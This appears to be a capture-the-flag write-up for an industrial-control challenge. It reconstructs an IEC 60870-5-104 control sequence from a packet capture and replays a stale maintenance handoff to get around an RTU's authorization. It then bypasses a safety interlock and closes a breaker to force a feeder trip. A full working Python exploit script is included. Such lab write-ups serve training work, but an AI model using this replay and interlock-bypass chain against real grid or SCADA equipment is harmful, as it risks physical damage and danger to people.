Crownspire Transfer
Crownspire Transfer
Platform: CACTF2026 | Category: Hardware | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-28 | Status: Solved Techniques: pcap_protocol_analysis, stale_handoff_replay, select_before_operate, safety_interlock_bypass
Summary
Task: A backup IEC 60870-5-104 capture exposes an RTU control workflow protecting a loaded transfer bus. Solution: Replay a stale maintenance handoff, issue two select-before-operate controls, and retrieve the resulting trip alarm from the HMI.
Crownspire Transfer — CACTF2026
Description
Stormbound crews found a Frostline feeder RTU still guarding the Crownspire east transfer bus. The live HMI shows a loaded transfer pump and a transfer breaker held open by an interlock. Recover enough control to force the unsafe transfer and collect the checkpoint token from the resulting feeder-trip alarm.
The challenge supplied a packet capture from an industrial control network. The objective was to reconstruct enough of the captured control workflow to bypass the transfer interlock, close the transfer breaker under unsafe conditions, and read the checkpoint token from the resulting alarm.
Artifacts and Topology
The downloaded artifact contained package/backup.pcap. Basic triage established its integrity and size:
bash read-only • copy allowedshasum -a 256 package/backup.pcap capinfos -c package/backup.pcap
The capture had 48 packets and this SHA-256 digest:
text read-only • copy allowed2e3ff57005e7849b50718cb4a4275f73f604cfb54e1f226d027c93a8811c7e3c
Wireshark and TShark identified IEC 60870-5-104 traffic with the following captured topology:
| Role | Address |
|---|---|
| HMI/client | 172.17.0.1 |
| RTU/server | 172.17.0.5:2404 |
| IEC common address | 17 |
| |
Useful triage commands were:
bash read-only • copy allowedtshark -r package/backup.pcap -q -z conv,tcp tshark -r package/backup.pcap -Y 'tcp.port == 2404' \ -T fields -e frame.number -e tcp.stream -e ip.src -e ip.dst -e tcp.payload
The live challenge mapped IEC104 to an ephemeral host and port and exposed a separate Frostline HMI. In the solved instance these were 154.57.164.66:30135 and http://154.57.164.66:30257, respectively. These addresses are instance examples, not stable challenge infrastructure.
The HMI exposed two useful read-only endpoints:
text read-only • copy allowed/status.json /alarms
Analysis
Reconstructing the visible control sequence
The second TCP connection contained C_SC_NA_1 single commands using select-before-operate (SBO). The sequence targeted two information object addresses under common address 17:
| Order | IOA | SCO byte | Observed role |
|---|---|---|---|
| 1 | 1101 | 0x81 | SELECT ON for interlock bypass |
| 2 | 1101 | 0x01 | EXECUTE ON for interlock bypass |
| 3 | 1201 | 0x81 | SELECT ON for tie breaker 52-T |
| 4 | 1201 | 0x01 | EXECUTE ON for tie breaker 52-T |
| |
The relevant ASDU shape was:
text read-only • copy allowed2d 01 06 00 11 00 <IOA:3 little-endian> <SCO>
Here, 0x2d is type 45 (C_SC_NA_1), cause 6 requests activation, 0x0011 is common address 17, and the final byte carries the ON state plus the select/execute bit.
General interrogation also returned four short floating-point values at IOAs 2101 through 2104. Their approximate captured values were 11.23, 3.78, 13.80, and 68.10. The challenge later associated these process values with bus voltage, feeder load, phase angle, and transformer temperature, but the exploit did not need to assign those meanings from the capture alone.
Why direct replay failed
At first, the second stream looked like a complete unauthenticated write sequence. A direct live attempt successfully negotiated STARTDT and completed general interrogation. SELECT for IOA 1101 received a positive activation confirmation, but EXECUTE received a negative confirmation:
text read-only • copy allowed> 680e04000a002d01060011004d040081 < 680e0a0006002d01070011004d040081 > 680e06000c002d01060011004d040001 < 680e0c0008002d01470011004d040001
In the last response, the cause byte has the negative-confirmation bit set. This proves an important distinction: acceptance of SELECT did not imply that the subsequent EXECUTE was authorized.
The HMI corroborated the rejection with:
text read-only • copy allowedIOA 1101 rejected: no active handoff
Therefore, the initial model of a fully unauthenticated direct write was incomplete. A prerequisite from elsewhere in the capture was missing.
Recovering the overlooked handoff
Returning to TCP stream 0 revealed a short first connection preceding the obvious control sequence. It contained this stale or malformed maintenance-proof ASDU payload:
text read-only • copy allowed680106001100041104bb322456bda87cee
The implementation treated this payload as a captured maintenance handoff. It is safest not to overstate its standards-compliant interpretation: the challenge behavior that matters is empirical. Replaying the exact bytes in an IEC104 I-frame on a short STARTDT session caused the HMI to report:
json read-only • copy allowed{ "authorized": true, "authorized_ttl": 29.8, "last_handoff": "stale maintenance proof accepted" }
This exposed the actual flaw: the RTU accepted a captured stale proof as a fresh authorization handoff and opened an authorization window of roughly 30 seconds.
Solution
1. Replay the stale maintenance handoff
Open a short IEC104 connection, send STARTDT_ACT, wait for STARTDT_CON, and transmit the captured handoff bytes as the ASDU payload of an I-frame. The solver then waits for process traffic as evidence that the exchange was accepted and closes this short session.
Immediately verify the temporary state through the HMI if desired:
bash read-only • copy allowedcurl -s http://HMI_HOST:HMI_PORT/status.json | python3 -m json.tool
The critical fields are authorized: true, a positive authorized_ttl, and last_handoff: stale maintenance proof accepted.
2. Establish the control session
Open a new IEC104 connection and perform:
STARTDT_ACT/STARTDT_CONnegotiation.- General interrogation.
- Sequence-counter tracking for all subsequent I-frames.
The complete exploit optionally supports clock synchronization, but it was not required for the successful chain.
3. Enable the interlock bypass
Within the authorization window, send the SBO pair for IOA 1101:
text read-only • copy allowedSELECT ON -> SCO 0x81 EXECUTE ON -> SCO 0x01
Wait for positive activation confirmation after each command and activation termination before moving to the next control.
4. Close tie breaker 52-T
Repeat the same SBO pair for IOA 1201. The successful live exchange produced positive confirmations and termination for both IOAs:
text read-only • copy allowedIOA 1101 SELECT -> positive ActCon IOA 1101 EXECUTE -> positive ActCon, then ActTerm IOA 1201 SELECT -> positive ActCon IOA 1201 EXECUTE -> positive ActCon, then ActTerm
The process was already loaded and out of phase. Enabling the bypass and closing 52-T therefore caused the intended phase-slip feeder trip.
5. Verify the trip and collect the alarm
The final HMI status showed the complete state transition:
json read-only • copy allowed{ "authorized": false, "last_handoff": "stale maintenance proof accepted", "last_command": "52-T close caused phase-slip trip", "process": { "main_breaker_closed": false, "tie_breaker_closed": false, "transfer_pump_running": false, "interlock_bypass": true, "feeder_trip": true } }
Querying the alarm endpoint returned a critical RLY104-PHASE-SLIP alarm containing the checkpoint token:
bash read-only • copy allowedcurl -s http://HMI_HOST:HMI_PORT/alarms | python3 -m json.tool
text read-only • copy allowed52-T phase-slip trip asserted - TOKEN HTB{REDACTED}
Complete exploit
python read-only • copy allowed#!/usr/bin/env python3 """Replay the Crownspire IEC 60870-5-104 control sequence.""" import argparse import datetime import re import socket import struct import time STARTDT_ACT = bytes.fromhex("680407000000") # Captured stale maintenance-proof payload. The challenge RTU incorrectly # accepts it as a fresh authorization handoff. STALE_HANDOFF_ASDU = bytes.fromhex( "680106001100041104bb322456bda87cee" ) class IEC104: def __init__(self, host, port, timeout): self.sock = socket.create_connection((host, port), timeout) self.sock.settimeout(timeout) self.tx = 0 self.rx = 0 @staticmethod def _read_exact(sock, size): data = b"" while len(data) < size: part = sock.recv(size - len(data)) if not part: raise EOFError("peer closed the connection") data += part return data def recv(self): while True: if self._read_exact(self.sock, 1) != b"\x68": continue length = self._read_exact(self.sock, 1)[0] apdu = b"\x68" + bytes([length]) + self._read_exact( self.sock, length ) self.describe("<", apdu) ctrl = apdu[2:6] if not (ctrl[0] & 1): peer_tx = struct.unpack("<H", ctrl[:2])[0] >> 1 self.rx = (peer_tx + 1) & 0x7FFF return apdu def send_raw(self, apdu): self.describe(">", apdu) self.sock.sendall(apdu) def send_asdu(self, asdu): ctrl = struct.pack("<HH", self.tx << 1, self.rx << 1) apdu = b"\x68" + bytes([len(ctrl) + len(asdu)]) + ctrl + asdu self.send_raw(apdu) self.tx = (self.tx + 1) & 0x7FFF @staticmethod def describe(direction, apdu): text = "".join(chr(x) if 32 <= x < 127 else "." for x in apdu) line = f"{direction} {apdu.hex()} |{text}|" if len(apdu) >= 12 and not (apdu[2] & 1): asdu = apdu[6:] typ = asdu[0] cause = asdu[2] & 0x3F negative = bool(asdu[2] & 0x40) ca = int.from_bytes(asdu[4:6], "little") line += ( f" type={typ} cause={cause} " f"neg={negative} CA={ca}" ) if len(asdu) >= 9: ioa = int.from_bytes(asdu[6:9], "little") line += f" IOA={ioa}" print(line, flush=True) for match in re.findall(rb"[ -~]{6,}", apdu): value = match.decode("ascii", "replace") print(f" printable: {value}", flush=True) def wait_for(self, typ=None, cause=None, ioa=None, deadline=3.0): end = time.monotonic() + deadline while time.monotonic() < end: self.sock.settimeout(max(0.05, end - time.monotonic())) apdu = self.recv() if len(apdu) < 15 or (apdu[2] & 1): continue asdu = apdu[6:] got_ioa = ( int.from_bytes(asdu[6:9], "little") if len(asdu) >= 9 else None ) matched = ( (typ is None or asdu[0] == typ) and (cause is None or (asdu[2] & 0x3F) == cause) and (ioa is None or got_ioa == ioa) ) if matched: if asdu[2] & 0x40: raise RuntimeError( "negative IEC104 confirmation: " + apdu.hex() ) return apdu raise TimeoutError( f"no matching response type={typ} cause={cause} IOA={ioa}" ) def command_asdu(ca, ioa, select): # C_SC_NA_1, one object, activation, little-endian CA and 24-bit IOA. sco = 0x81 if select else 0x01 return ( bytes.fromhex("2d010600") + struct.pack("<H", ca) + ioa.to_bytes(3, "little") + bytes([sco]) ) def gi_asdu(): # C_IC_NA_1 activation, global CA, IOA 0, station interrogation QOI. return bytes.fromhex("64010600ffff00000014") def cp56_now(): now = datetime.datetime.now(datetime.timezone.utc) milliseconds = now.second * 1000 + now.microsecond // 1000 day = (now.isoweekday() << 5) | now.day return struct.pack( "<HBBBBB", milliseconds, now.minute, now.hour, day, now.month, now.year - 2000, ) def clock_asdu(): return bytes.fromhex("67010600ffff000000") + cp56_now() def operate(link, ca, ioa): print(f"[*] SELECT ON CA={ca} IOA={ioa}") link.send_asdu(command_asdu(ca, ioa, True)) link.wait_for(45, 7, ioa) print(f"[*] EXECUTE ON CA={ca} IOA={ioa}") link.send_asdu(command_asdu(ca, ioa, False)) link.wait_for(45, 7, ioa) link.wait_for(45, 10, ioa) def authorize(host, port, timeout): print("[*] Replaying stale maintenance handoff") link = IEC104(host, port, timeout) try: link.send_raw(STARTDT_ACT) if link.recv() != bytes.fromhex("68040b000000"): raise RuntimeError("expected STARTDT confirmation during handoff") link.send_asdu(STALE_HANDOFF_ASDU) link.wait_for(13, 1, 2101) finally: link.sock.close() def main(): parser = argparse.ArgumentParser() parser.add_argument("host") parser.add_argument("--port", type=int, default=2404) parser.add_argument("--ca", type=int, default=17) parser.add_argument("--first-ioa", type=int, default=1101) parser.add_argument("--second-ioa", type=int, default=1201) parser.add_argument("--timeout", type=float, default=3.0) parser.add_argument("--listen", type=float, default=10.0) parser.add_argument("--clock-sync", action="store_true") parser.add_argument("--skip-handoff", action="store_true") args = parser.parse_args() if not args.skip_handoff: authorize(args.host, args.port, args.timeout) link = IEC104(args.host, args.port, args.timeout) link.send_raw(STARTDT_ACT) if link.recv() != bytes.fromhex("68040b000000"): raise RuntimeError("expected STARTDT confirmation") print("[*] General interrogation") link.send_asdu(gi_asdu()) link.wait_for(100, 10, 0) if args.clock_sync: print("[*] Clock synchronization") link.send_asdu(clock_asdu()) link.wait_for(103, 7, 0) operate(link, args.ca, args.first_ioa) operate(link, args.ca, args.second_ioa) print( f"[*] Unsafe transfer issued; collecting traffic " f"for {args.listen:g}s" ) end = time.monotonic() + args.listen while time.monotonic() < end: link.sock.settimeout(max(0.05, end - time.monotonic())) try: link.recv() except socket.timeout: break if __name__ == "__main__": main()
Run it against the current IEC104 mapping:
bash read-only • copy allowedpython3 iec104_exploit.py IEC104_HOST --port IEC104_PORT --listen 30
Then query the HMI if the token is not carried in printable IEC104 alarm traffic:
bash read-only • copy allowedcurl -s http://HMI_HOST:HMI_PORT/status.json | python3 -m json.tool curl -s http://HMI_HOST:HMI_PORT/alarms | python3 -m json.tool